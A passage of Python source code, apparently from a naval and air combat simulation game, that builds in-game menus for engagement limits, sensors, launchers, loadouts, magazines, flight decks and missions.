# CLASSIFICATION>
# ID>
# player unit : limit
catids = {0:['Undetected','Not Known'],32:['Air','All Air'],33:['Air','Fixed Wing'],34:['Air','Helo'],256:['Ground','All Ground'],257:['Ground','Airfield'],258:['Ground','Ground Vehicle'],64:['Missile','All Missile'],16:['Ship','All Surface'],17:['Ship','Small Surface'],18:['Ship','Large Surface'],22:['Ship','Carrier'],129:['Sub','All Submarine']}
newIDdict = {}
def newdict(newIDdict, id):
track = UI.GetTrackById(int(float(id)))
classid = track.Classification
cats = catids[classid]
try:
newIDdict[cats[0]][cats[1]][id][UI.GetPlatformName()] = idlimits[id]
except KeyError:
try:
newIDdict[cats[0]][cats[1]][id] = {UI.GetPlatformName():idlimits[id]}
except KeyError:
if cats[0] in newIDdict:
newIDdict[cats[0]][cats[1]] = {id:{UI.GetPlatformName():idlimits[id]}}
else:
newIDdict[cats[0]] = {cats[1]:{id:{UI.GetPlatformName():idlimits[id]}}}
return newIDdict
try:
#GetPlatformId ONLY works on UnitInfo, so if we throw an error, we got called by GroupInfo instead
test = interface.GetPlatformId()
group = False
except:
group = True
if group:
GI = interface
for n in xrange(GI.GetUnitCount()):
UI = GI.GetPlatformInterface(n)
BB = UI.GetBlackboardInterface()
idlimits = Read_Message_Dict(BB,'ID_EngageLimit')
for id in idlimits.keys():
newIDdict = newdict(newIDdict, id)
else:
UI = interface
BB = UI.GetBlackboardInterface()
idlimits = Read_Message_Dict(BB,'ID_EngageLimit')
for id in idlimits.keys():
newIDdict = newdict(newIDdict, id)
#set new limits per id.
targetready = True
commonid = None
if group:
tag = 'common '
param = 12
GI = interface
for n in xrange(GI.GetUnitCount()):
UI = GI.GetPlatformInterface(n)
target = UI.GetTarget()
if target == -1:
targetready = False
break
elif commonid != None and commonid != target:
targetready = False
break
elif commonid == None:
commonid = target
else:
tag = ''
param = 13
UI = interface
target = UI.GetTarget()
if target == -1:
targetready = False
else:
commonid = target
if not targetready:
Menu.AddItemUI('Please Set a %sTarget' % tag,'OptionSetTargeting', 'Target')
else:
Menu.AddItem('Set Limit for < %s >' % target,'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
Menu.AddItemUIWithParam('Input Limit','CombatLimitsInputHandler','Text Please Enter New Engage Limit',param)
Menu.AddItem('From List','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
for n in [0,1,2,4,6,8,10,12,14,16,19,21,24,27,30,35,40,45,50]:
Menu.AddItemWithTextParam('%d' % n,'OptionHandler', 'ID_EngageLimit|DictSet|%s~%s'% (target,n))
Menu.EndSubMenu()
Menu.EndSubMenu()
#iterate over the dict keys and print the results to a menu entry.
if len(newIDdict.keys()) > 0:
Menu.AddItem('Current ID Limits','')
for category in newIDdict:
Menu.AddItem('%s' % category,'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for classification in newIDdict[category]:
Menu.AddItem('%s' % str(classification),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for id in newIDdict[category][classification]:
Menu.AddItem('%s' % int(float(str(id))),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for platform in newIDdict[category][classification][id]:
Menu.AddItem('%s = %s' % (str(platform),str(newIDdict[category][classification][id][platform])),'')
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.AddItemWithTextParam('Reset ID Limits','DefaultCombatLimitInputs', 'IdLimits')
def EngagementZoneMenu(interface, Menu):
Menu.AddItem('Engagement Zones','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItem('Create New Zone','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItemUIWithParam('Inclusion Zone','CoOrdsEngageLimitHandler','Box',1)
Menu.AddItemUIWithParam('Exclusion Zone','CoOrdsEngageLimitHandler','Box',2)
Menu.EndSubMenu()
try:
#GetPlatformId ONLY works on UnitInfo, so if we throw an error, we got called by GroupInfo instead
test = interface.GetPlatformId()
group = False
except:
group = True
new_zones = {}
if group:
GI = interface
for n in xrange(GI.GetUnitCount()):
UI = GI.GetPlatformInterface(n)
BB = UI.GetBlackboardInterface()
zones = Read_Message_Dict(BB,'Engagement_Zones')
for ztype in zones:
for zone in zones[ztype]:
try:
new_zones[ztype]['%0.2f_%0.2f_%0.2f_%0.2f'% (zones[ztype][zone][zone][0],zones[ztype][zone][1],zones[ztype][zone][2],zones[ztype][zone][3])] = UI.GetPlatformName()
except KeyError:
new_zones[ztype] = {'%0.2f_%0.2f_%0.2f_%0.2f'% (zones[ztype][zone][0],zones[ztype][zone][1],zones[ztype][zone][2],zones[ztype][zone][3]):UI.GetPlatformName()}
else:
UI = interface
BB = UI.GetBlackboardInterface()
zones = Read_Message_Dict(BB,'Engagement_Zones')
for ztype in zones:
for zone in zones[ztype]:
try:
new_zones[ztype]['[%0.2f, %0.2f], [%0.2f, %0.2f]'% (math.degrees(zones[ztype][zone][0]),math.degrees(zones[ztype][zone][1]),math.degrees(zones[ztype][zone][2]),math.degrees(zones[ztype][zone][3]))] = {UI.GetPlatformName():''}
except KeyError:
new_zones[ztype] = {'[%0.2f, %0.2f], [%0.2f, %0.2f]'% (math.degrees(zones[ztype][zone][0]),math.degrees(zones[ztype][zone][1]),math.degrees(zones[ztype][zone][2]),math.degrees(zones[ztype][zone][3])):{UI.GetPlatformName():''}}
if len(new_zones.keys()) > 0:
Menu.AddItem('Current Zones','')
Menu.AddItem('=============','')
for ztype in new_zones:
Menu.AddItem('%s' % str(ztype),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for zone in new_zones[ztype]:
Menu.AddItem('%s' % str(zone),'');Menu.BeginSubMenu();Menu.SetStayOpen(1)
for unit in new_zones[ztype][zone].keys():
Menu.AddItem('%s' % str(unit),'')
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.AddItemWithTextParam('Clear Zones','DefaultCombatLimitInputs','Zones')
def SystemsMenuItems(Menu, interface, Selected):
Menu.AddItem('Sensors','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
if Selected['HasRadar']:
Menu.AddItem('Radar','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('All On','OptionHandler','SensorState|Function|1~1')
Menu.AddItemWithTextParam('All Off','OptionHandler','SensorState|Function|1~0')
Menu.EndSubMenu()
if Selected['HasSonarP'] or Selected['HasSonarA']:
Menu.AddItem('Sonar','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('All On','OptionHandler','SensorState|Function|4~1;SensorState|Function|8~1')
Menu.AddItemWithTextParam('All Off','OptionHandler','SensorState|Function|4~0;SensorState|Function|8~0')
if Selected['HasSonarA']:
Menu.AddItemWithTextParam('All Active On','OptionHandler','SensorState|Function|8~1')
Menu.AddItemWithTextParam('All Active Off','OptionHandler','SensorState|Function|8~0')
if Selected['HasSonarP']:
Menu.AddItemWithTextParam('All Passive On','OptionHandler','SensorState|Function|4~1')
Menu.AddItemWithTextParam('All Passive Off','OptionHandler','SensorState|Function|4~0')
Menu.EndSubMenu()
if Selected['HasECM']:
Menu.AddItem('ECM','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('All On','OptionHandler','SensorState|Function|32~1')
Menu.AddItemWithTextParam('All Off','OptionHandler','SensorState|Function|32~0')
Menu.EndSubMenu()
Menu.EndSubMenu()
if Selected['UnitCount'] == 1 and Selected['Launchers'] and (Selected['Ship'] or Selected['Sub'] or Selected['FixedLand'] or Selected['MobileLand']):
Menu.AddItem('Launchers','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
UI = interface
nCount = UI.GetLauncherCount()
for n in range(0, nCount):
launcher_info = UI.GetLauncherInfo(n)
weap_name = UI.GetLauncherWeaponName(n)
weap_qty = launcher_info.Quantity
isLoadingUnloading = launcher_info.IsLoading
if (weap_qty == 0):
if (not isLoadingUnloading):
nTypes = UI.GetLauncherTypesCount(n)
for k in range(0, nTypes):
type_name = UI.GetLauncherTypeName(n, k)
reload_qty = UI.GetMagazineQuantity(type_name)
if (reload_qty > 0):
Menu.AddItemWithTextParam('%d - Load %s [%d]' % (n, type_name, reload_qty), 'ReloadLauncher', '%d~%s' % (n, type_name))
else:
Menu.AddItemWithParam('%d - Cancel load %s' % (n, weap_name), 'Unload', n)
else:
if (not isLoadingUnloading):
if (UI.CanMagazineAcceptItem(weap_name)):
Menu.AddItemWithParam('%d - Unload %s' % (n,weap_name), 'Unload', n)
else:
Menu.AddItem('%d - Cannot Unload %s' % (n, weap_name), '')
else:
Menu.AddItemWithTextParam('%d - Cancel unload %s' % (n, weap_name), 'ReloadLauncher', '%d~%s' % (n, weap_name))
Menu.EndSubMenu()
if Selected['Sub'] > 0:
Menu.AddItem('Masts','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
if Selected['PeriDeep']:
if Selected['Periscope-']:
Menu.AddItemWithTextParam('Raise Periscope','OptionHandler','Periscope|Function|1')
if Selected['Periscope+']:
Menu.AddItemWithTextParam('Lower Periscope','OptionHandler','Periscope|Function|0')
if Selected['DieselSub']:
if Selected['Snorkel-']:
Menu.AddItemWithTextParam('Start Snorkeling','OptionHandler','Snorkel|Function|1')
if Selected['Snorkel+']:
Menu.AddItemWithTextParam('Stop Snorkeling','OptionHandler','Snorkel|Function|0')
if Selected['HasRadar']:
if Selected['RadarMast-']:
Menu.AddItemWithTextParam('Raise Radar','OptionHandler','RadarMast|Function|1')
if Selected['RadarMast+']:
Menu.AddItemWithTextParam('Lower Radar','OptionHandler','RadarMast|Function|0')
else:
Menu.AddItemWithTextParam('Set Depth Periscope', 'OptionHandler', 'AltitudeStandard|Function|Periscope')
Menu.EndSubMenu()
Menu.EndSubMenu()
def ManagementMenuItems(Menu, interface, Selected):
Menu.AddItem('Management','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
Menu.AddItem('Add Tasks','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
Menu.AddItem('Patrol','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if Selected["UnitCount"] == 1 and not interface.IsFixed():
Menu.AddItemUI('Patrol station','AddPatrolStation', 'Datum')
Menu.AddItemUI('Set patrol area', 'SetPatrolArea', 'Box')
Menu.AddItem('Clear patrol area', 'ClearPatrolArea')
Menu.EndSubMenu()
if Selected["UnitCount"] == 1 and interface.IsAir():
BuildRefuelMenu(Menu, interface)
BuildLandMenu(Menu, interface)
if 1==1:
Menu.AddItemUI('By Name','AddTask', 'Text Name of Task to Add')
Menu.AddItem('From List','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
useful_tasks = ['BombRun', 'EngageAll', 'EngageAllAir', 'Intercept', 'Land', 'MissileWarning', 'PatrolCircle', 'PointDefence', 'RTB', 'Refuel']
hidden_tasks = ['MissileWarning', 'PointDefence', 'RTB', 'Refuel']
for task in useful_tasks:
if task in hidden_tasks:
Menu.AddItemWithTextParam('hidden - %s' % task,'OptionHandler', '%s|Task|Start~1~1' % task)
else:
Menu.AddItemWithTextParam(' %s' % task,'OptionHandler', '%s|Task|Start~1~0' % task)
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.AddItem('Remove Tasks','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
if 1==1:
Menu.AddItemUI('By Name','DeleteTask','Text Name of Task to Remove')
Menu.AddItem('From List','');Menu.BeginSubMenu();Menu.SetStayOpen(1)
tasks = Selected['Tasks']
for task in tasks:
Menu.AddItemWithTextParam('%s : %s / %s' % (task, tasks[task], Selected['UnitCount']),'DeleteTask',task)
Menu.EndSubMenu()
Menu.EndSubMenu()
if Selected['UnitCount'] == 1:
Menu.AddItem('Open Unit Panel','ShowPlatformPanel')
if Selected['HasMagazine'] == 1:
Menu.AddItem('Open Magazine Panel','ShowStoresPanel')
if Selected['HasFlightPort'] == 1:
Menu.AddItem('Open FlightPort Panel','ShowFlightPanel')
BuildMissionMenu(Menu, interface)
Menu.EndSubMenu()
def GetLoadouts(UI):
SM = UI.GetScenarioInterface()
BB = UI.GetBlackboardInterface()
if SM.GetFilterByYear():
Filter = True
else:
Filter = False
filter_list = {}
aircraft_dict = {}
if UI.HasFlightPort():
FP = UI.GetFlightPortInfo()
for n in xrange(FP.GetUnitCount()):
UIn = FP.GetUnitPlatformInterface(n)
setups = UIn.GetPlatformSetups()
for s in xrange(setups.Size()):
setup = setups.GetString(s)
filter_list[setup] = None
try:
aircraft_dict[UIn.GetPlatformClass()] += 1
except:
aircraft_dict[UIn.GetPlatformClass()] = 1
aircraft_list = aircraft_dict.keys()
aircraft_list.sort()
else:
aircraft_list = [UI.GetPlatformClass()]
setups = UI.GetPlatformSetups()
for s in xrange(setups.Size()):
setup = setups.GetString(s)
filter_list[setup] = None
aircraft_dict[UI.GetPlatformClass()]=1
return get_loadouts(UI, aircraft_list, Filter, filter_list), aircraft_dict
def Amram_Paged_Loadout_Menu(Menu, UI, loadouts_dict, aircraft_dict, additive = False):
SM = UI.GetScenarioInterface()
Children = False
if UI.HasFlightPort():
FP = UI.GetFlightPortInfo()
if FP.GetUnitCount() > 0:
Children = True
BB = UI.GetBlackboardInterface()
if additive:
if not Children:
#we cannot do an additive loadout if there are no child aircraft to select from.
return
Menu.AddItem('Additive Loadout', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if BB.KeyExists('InvMulti'):
InvMulti = Try_Read_Message(BB, 'InvMulti', 2)
else:
BB.Write('InvMulti', '1')
InvMulti = 1
Menu.AddItemUIWithParam('Inventory Multi: %s' % InvMulti, 'InputHandler', 'Text Inventory Miltiplier, may be less than one', 5)
else:
InvMulti = 1
Menu.AddItem('Loadouts Menu', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
#Write_Message_List(BB, 'loadouts_dict', loadouts_dict)
paging = 25
page_load = False
if Children or UI.IsAir():
#is parent menu if UI.IsAir(), child menu is has flightport.
for armament in sorted(loadouts_dict.iterkeys()):
Menu.AddItem('%s' % armament,''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
#aircraft might be long enough to need paging sometime. prep paging
for aircraft in sorted(loadouts_dict[armament].iterkeys()):
count = aircraft_dict[aircraft]
if Children:
Menu.AddItem('%s %s' % (count, aircraft),''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
load_max = len(loadouts_dict[armament][aircraft].keys())
if load_max > paging:
#loadouts are long enough to need paging. prep paging
page_load = True
page_load_set = 0
page_load_end = 1
load_count = 0
for loadout in sorted(loadouts_dict[armament][aircraft].iterkeys()):
if page_load:
#do aircraft paging task. Kill submenu to begin next one if warranted.
#begin new page with appropriate count.
load_count += 1
page_val2 = int(load_count/paging) + 1
if page_val2 > page_load_end:
#we need to start a new page, so close the old one.
Menu.EndSubMenu()
page_load_end += 1
if page_val2 > page_load_set:
#initiate the new page.
Menu.AddItem('Page %d' % page_load_set,''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
page_load_set += 1
add = 0
if additive:
add = 1
param = '%s|%s|%s|%s|%s|%s' % (armament, aircraft, loadout, aircraft_dict[aircraft], InvMulti, add)
Menu.AddItem('%s' % loadout, '');Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItem('Select any item to load all items','')
if armament == 'Unknown':
Menu.AddItem('It would appear I missed some formatting','')
Menu.AddItem('Please post about this loadout so I can','')
Menu.AddItem('make it filter correctly in the future.','')
for weapon in sorted(loadouts_dict[armament][aircraft][loadout].iterkeys()):
if len(weapon) > 1:
if additive:
addcount = loadouts_dict[armament][aircraft][loadout][weapon] * InvMulti * count
else:
addcount = loadouts_dict[armament][aircraft][loadout][weapon]
#round it up
addcount = int(math.ceil(addcount))
Menu.AddItemWithTextParam('%s %s ' % (addcount, weapon), 'LoadoutHandler', param)
Menu.EndSubMenu()
if page_load:
if load_count == load_max:
Menu.EndSubMenu()
page_load = False
load_count = 0
page_load_set = 0
page_load_end = 1
Menu.EndSubMenu()
if Children:
Menu.EndSubMenu()
Menu.EndSubMenu()
return
def GenericLoadouts(menu, interface):
if (UI.IsAir()):
loadouts = UI.GetLoadoutList()
loadouts.PushBack('AAW')
loadouts.PushBack('ASuW')
loadouts.PushBack('ASW')
loadouts.PushBack('Strike')
loadouts.PushBack('Nuclear')
Menu.AddItem('Generic Loadouts','')
Menu.BeginSubMenu()
BuildPagedLoadoutMenu(Menu, loadouts, 20, 'EquipLoadout', '')
Menu.EndSubMenu()
def ParentConfigs(Menu, UI):
if ((not UI.HasMagazine()) and (not UI.HasFlightPort())):
return
setupList = UI.GetPlatformSetups()
if (setupList.Size() == 0):
return
Menu.AddItem('Parent Platform Setup', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItem('Caution: Applying any of these will replace all launchers,\n landed aircraft, their launchers, and magazines.','')
for n in xrange(setupList.Size()):
setup_n = setupList.GetString(n)
Menu.AddItemWithTextParam('%s' % setup_n, 'AutoConfigurePlatform', setup_n)
Menu.EndSubMenu()
def Unit_Characteristics_Menu(Menu, UI, Selected, loadouts_dict, aircraft_dict, Flight, group, single):
Menu.AddItem('Configure Unit', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
if single:
Menu.AddItemUI('Duplicate', 'CopyPlatform', 'Datum')
Menu.AddItemUI('Move unit', 'MovePlatform', 'Datum')
Menu.AddItemUI('Move unit to coordinate', 'MovePlatformString', 'Text Enter Latitude Longitude')
BuildRenameMenu(Menu, UI)
Menu.AddItemWithTextParam('Delete Unit', 'OptionHandler', 'DeleteUnit|Function|1')
ParentConfigs(Menu, UI)
if UI.HasMagazine():
Menu.AddItem("Setup Generator",''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
BB = UI.GetBlackboardInterface()
if BB.KeyExists('MagGenAllowNukes'):
Menu.AddItemWithTextParam('Nuclear Weapons Permitted','OptionHandler', 'MagGenAllowNukes|Erase|1')
else:
Menu.AddItemWithTextParam('Nuclear Weapons Not Permitted','OptionHandler', 'MagGenAllowNukes|Set|1')
if UI.IsSurface() or UI.IsGroundVehicle() or (UI.IsFixed() and not UI.HasFlightPort()):
Menu.AddItem('Autoconfigure Magazine and Launchers', 'MagGenerator')
elif UI.HasFlightPort():
#stock level is pointless if you don't, its based entirely on aircraft count...
#intended specifically for airbases
Menu.AddItem('===================================','')
Menu.AddItemWithTextParam('Set Low Stock Level', 'OptionHandler', 'MagTonnage|Set|15')
Menu.AddItemWithTextParam('Set Standard Stock Level', 'OptionHandler', 'MagTonnage|Set|25')
Menu.AddItemWithTextParam('Set High Stock Level', 'OptionHandler', 'MagTonnage|Set|35')
if BB.KeyExists('MagTonnage') or BB.KeyExists('MagItems'):
Menu.AddItem('Autoconfigure Magazine and Launchers', 'MagGenerator')
else:
Menu.AddItem('Please set a maximum tonnage or maximum','')
Menu.AddItem('item count to enable the generator','')
Menu.EndSubMenu()
#EditMenu Unit Additions
Add_To_Magazine_Menu(Menu, UI, loadouts_dict, aircraft_dict)
if Flight:
Add_To_FlightDeck(Menu, UI)
if Selected['Air'] > 0:
loadouts = 0
for armament in loadouts_dict:
for aircraft in loadouts_dict[armament]:
if len(loadouts_dict[armament][aircraft].keys()) > 0:
Amram_Paged_Loadout_Menu(Menu, UI, loadouts_dict, aircraft_dict)
loadouts = True
break
break
Menu.AddItem('Launchers', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for launcher_num in xrange(UI.GetLauncherCount()):
Menu.AddItem('L%d' % (launcher_num+1), '')
Menu.BeginSubMenu()
Menu.AddItemWithParam('Unload', 'Unload', launcher_num)
equipment = UI.GetCompatibleItemList(launcher_num)
BuildPagedLoadoutMenu(Menu, equipment, 20, 'ReloadLauncher', '%d~' % launcher_num)
Menu.EndSubMenu()
Menu.EndSubMenu()
BuildRandomizeEditMenu(Menu, UI)
else:
Menu.AddItemUI('Duplicate Group', 'CopyGroup', 'Datum')
Menu.AddItemUI('Rename Group', 'RenameGroup', 'Text Enter Group Name')
Menu.AddItemUI('Move group', 'MoveGroup', 'Datum')
Menu.AddItem('Delete Units', 'DeleteGroup')
Menu.EndSubMenu()
def Special_Edit_Items_Menu(Menu, UI):
Menu.AddItem('Special', '')
Menu.BeginSubMenu()
if (UI.IsFixed() or UI.IsGroundVehicle()):
if (UI.GetAlwaysVisible()):
Menu.AddItemWithParam('Clear always visible', 'SetAlwaysVisible', 0)
else:
Menu.AddItemWithParam('Set always visible', 'SetAlwaysVisible', 1)
cost_millions = 1e-6 * UI.GetCost()
Menu.AddItemUI('Set Custom Cost (%.1f)' % cost_millions, 'SetCustomCost', 'Text Enter Custom Cost in Millions')
Menu.EndSubMenu()
def Add_To_Magazine_Menu(Menu, UI, loadouts_dict, aircraft_dict):
if not UI.HasMagazine():
return
Menu.AddItem('Add To Magazine', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUI('Add by name', 'AddItemToMagazine', 'Text Name of Item to Add')
paging = 25
if 1==1:
magazineAddCount = UI.GetMagazineAddCount()
Menu.AddItem('Edit quantity (x%d)' % magazineAddCount, ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithParam('1', 'SetMagazineAddCount', 1)
Menu.AddItemWithParam('10', 'SetMagazineAddCount', 10)
Menu.AddItemWithParam('50', 'SetMagazineAddCount', 50)
Menu.AddItemWithParam('100', 'SetMagazineAddCount', 100)
Menu.SetStayOpen(0)
Menu.AddItemUI('Enter value', 'SetMagazineAddCount', 'Text')
Menu.EndSubMenu()
Suggested_Items_Menu(Menu, UI, loadouts_dict)
Amram_Paged_Loadout_Menu(Menu, UI, loadouts_dict, aircraft_dict, additive = True)
Menu.EndSubMenu()
def Suggested_Items_Menu(Menu, UI, loadouts_dict):
classified = Get_Relevant_Stock(UI, loadouts_dict)
categories = [['MIS', 'Missile'], ['ROC', 'Rocket'], ['GBU', 'Guided Bomb'], ['UBU', 'Unguided Bomb'], ['GUN', 'Gun Round'], ['TRP', 'Torpedo'], ['BUI', 'Sonobuoy'], ['CM', 'Counter Measure'], ['UNK', 'Unknown Item Type'], ['NUC', 'Nuclear'], ['MIN', 'Mines'], ['FUEL', 'Fuel Tanks']]
DoOwner = []
Proceed = False
for category in categories:
if len(classified['Parent'][category[0]].keys()) > 0:
DoOwner.append('Parent')
Proceed = True
if len(classified['Child'][category[0]].keys()) > 0:
DoOwner.append('Child')
Proceed = True
paging = 25
if Proceed:
Menu.AddItem('Add Suggested', ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithTextParam('Fuel', 'AddItemToMagazine', 'Fuel')
for owner in classified:
if owner in DoOwner:
Menu.AddItem('%s Stock' % owner, ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for category in categories:
nItems = len(classified[owner][category[0]].keys())
if nItems > 0:
Menu.AddItem('%s' % category[1], ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
item_list = sorted(classified[owner][category[0]].iterkeys())
if nItems > paging:
nPages = int(ceil(float(nItems)/paging))
for p in xrange(nPages):
nItemsPage = min(paging, nItems - p*paging)
Menu.AddItem('Page %d' % (p+1), ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
for n in xrange(nItemsPage):
item = item_list[(p*paging)+n]
Menu.AddItemWithTextParam('%s' % item, 'AddItemToMagazine', item)
Menu.EndSubMenu()
else:
for item in classified[owner][category[0]]:
Menu.AddItemWithTextParam('%s' % item, 'AddItemToMagazine', item)
Menu.EndSubMenu()
Menu.EndSubMenu()
Menu.EndSubMenu()
def Add_To_FlightDeck(Menu, UI):
Menu.AddItem('Add to flight deck',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
group_name = UI.GetAirGroupName()
group_count = UI.GetAirGroupCount()
start_id = UI.GetAirUnitId()
Menu.AddItem('Set group (%s-%d x%d)' % (group_name, start_id, group_count), ''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemUI('Name', 'SetAirGroupNameUnit', 'Text')
Menu.SetStayOpen(1)
Menu.AddItem('Size',''); Menu.BeginSubMenu(); Menu.SetStayOpen(1)
Menu.AddItemWithParam('1', 'SetAirGroupSizeUnit', 1)
Menu.AddItemWithParam('2', 'SetAirGroupSizeUnit', 2)
Menu.AddItemWithParam('4', 'SetAirGroupSizeUnit', 4)
Menu.AddItemUI('Enter value', 'SetAirGroupSizeUnit', 'Text')
Menu.EndSubMenu()
Menu.EndSubMenu()
# Create fixed wing air on carrier or airstrip ###
Menu.AddItem('Air fixed wing','')
BuildPagedCreateChildMenuUnit(UI, Menu, 'AirFW', 25)
# Create helo on carrier or airstrip ###
Menu.AddItem('Helo','')
BuildPagedCreateChildMenuUnit(UI, Menu, 'Helo', 25)
Menu.EndSubMenu()
def Add_Mission_Menu(Menu, UI):
Menu.AddItem('Add mission', '')
Menu.BeginSubMenu()
Menu.AddItemUI('CAP', 'AddCAPMission', 'Datum')
Menu.EndSubMenu()
# menu for adding and editing aircraft missions
def BuildMissionMenu(UnitMenu, UnitInfo):
FP = UnitInfo.GetFlightPortInfo()
if (not FP.IsValid()):
return
hasCAP = FP.HasAircraftForMission('cap')
hasStrike = FP.HasAircraftForMission('strike')
hasASW = FP.HasAircraftForMission('asw')
hasAEW = FP.HasAircraftForMission('aew')
if (hasCAP or hasAEW or hasStrike or hasASW):
UnitMenu.AddItem('Quick Mission', '')
UnitMenu.BeginSubMenu()
UnitMenu.AddItem('Add', '')
UnitMenu.BeginSubMenu()
if (hasCAP):
UnitMenu.AddItemUI('CAP', 'AddCAPMission', 'Datum')
if (hasStrike):
UnitMenu.AddItemUI('Land/Surf Attack', 'AddAttackMission', 'Target')
if (hasASW):
UnitMenu.AddItemUI('ASW Patrol', 'AddASWMission', 'Datum')
if (hasAEW):
UnitMenu.AddItemUI('AEW Patrol', 'AddAEWMission', 'Datum')
UnitMenu.EndSubMenu()
UnitMenu.EndSubMenu()
########################
## ##
## Menu Utilities ##
## ##
########################
def BuildDeveloperMenu(Menu, UI):
if (UI.IsDeveloperMode() == 0):
return
Menu.AddItem('Dev tools', '')
Menu.BeginSubMenu()
Menu.AddItemUI('Move unit', 'MovePlatformDev', 'Datum')
if (UI.HasThrottle()):
Menu.AddItem('Speed vs alt', '*ShowAirInfo')
BuildDamageMenu(Menu, UI)
Menu.AddItem('TestCollision', '*TestCollision')
Menu.AddItem('TestCrossSection', '*TestCrossSection')
Menu.AddItem('ShowPlatformDebug', '*ShowPlatformDebug')
Menu.AddItem('Show Sonar Panel', '*ShowSonarPanel')
Menu.AddItem('Make invulnerable', 'MakePlatformInvulnerable')
Menu.AddItem('Show best launcher', 'ReportBestLauncherForTarget')
BuildLoadLauncherMenuAll(Menu, UI)
BuildSetFuelMenu(Menu, UI)
BuildLaunchAtMeMenu(Menu, UI)
Menu.EndSubMenu()
def SelectedUnitInventory(interface):
Selected = {'Air':0,
'FixedWing':0,
'RotaryWing':0,
'Ship':0,
'Sub':0,
'FixedLand':0,
'MobileLand':0,
'Launchers':0,
'HasTarget':0,
'HasThrottle':0,
'Speed+':0,
'Speed-':0,
'Alt+':0,
'Depth-':0,
'Depth+':0,
'TargetDatum':0,
'TargetTrack':0,
'TargetSet':0,
'HasAIWeap':0,
'HasAINav':0,
'UnitCount':0,
'HasBombs':0,
'HasGBU':0,
'16_EngageLimit':-1,
'17_EngageLimit':-1,
'18_EngageLimit':-1,
'22_EngageLimit':-1,
'32_EngageLimit':-1,
'33_EngageLimit':-1,
'34_EngageLimit':-1,
'64_EngageLimit':-1,
'129_EngageLimit':-1,
'256_EngageLimit':-1,
'258_EngageLimit':-1,
'257_EngageLimit':-1,
'Alliance0_EngageLimit':-1,
'Alliance1_EngageLimit':-1,
'Alliance2_EngageLimit':-1,
'CanStrafe':0,
'WeaponList':{},
'MagWeaponList':{},
'Tasks':{},
'Snorkel+':0,
'Snorkel-':0,
'Periscope+':0,
'Periscope-':0,
'PeriDeep':0,
'RadarMast+':0,
'RadarMast-':0,
'DieselSub':0,
'HasRadar':0,
'HasSonarA':0,
'HasSonarP':0,
'HasOptical':0,
'HasECM':0,
'HasESM':0,
'HasFlightPort':0,
'HasMagazine':0,
'FormLeader':0,
'FormMember':0,
'FormModeSprint':0,
'FormModePace':0,
}
group = False
try:
#maybe we are a group
test = interface.GetUnitCount()
group = True
except:
#maybe we are not.
group = False
if group:
for unit in xrange(interface.GetUnitCount()):
UI = interface.GetPlatformInterface(unit)
Selected = PerformInventory(UI, Selected)
else:
UI = interface
Selected = PerformInventory(UI, Selected)
return Selected
def PerformInventory(UI, Selected):
BB = UI.GetBlackboardInterface()
if UI.IsSurface():
Selected['Ship'] += 1
elif UI.IsAir():
Selected['Air'] += 1
if UI.IsHelo():
Selected['RotaryWing'] += 1
else:
Selected['FixedWing'] += 1
if UI.GetMaxAlt() > Selected['Alt+']:
Selected['Alt+'] = UI.GetMaxAlt()
elif UI.IsSub():
SI = UI.GetSubInterface()
Selected['Sub'] += 1
if SI.GetMaxDepth() > Selected['Depth+']:
Selected['Depth+'] = SI.GetMaxDepth()
if SI.IsPeriscopeRaised():
Selected['Periscope+'] = 1
else:
Selected['Periscope-'] = 1
if SI.IsRadarMastRaised():
Selected['RadarMast+'] = 1
else:
Selected['RadarMast-'] = 1
if SI.IsAtPeriscopeDepth():
Selected['PeriDeep'] = 1
if SI.IsSnorkeling():
Selected['Snorkel+'] = 1
else:
Selected['Snorkel-'] = 1
if SI.IsDieselElectric():
Selected['DieselSub'] = 1
elif UI.IsFixed():
Selected['FixedLand'] += 1
elif UI.IsGroundVehicle():
Selected['MobileLand'] += 1
speeds = [1,5,10,50,100,200,500]
for speed in speeds:
if UI.IsAir() and UI.HasThrottle():
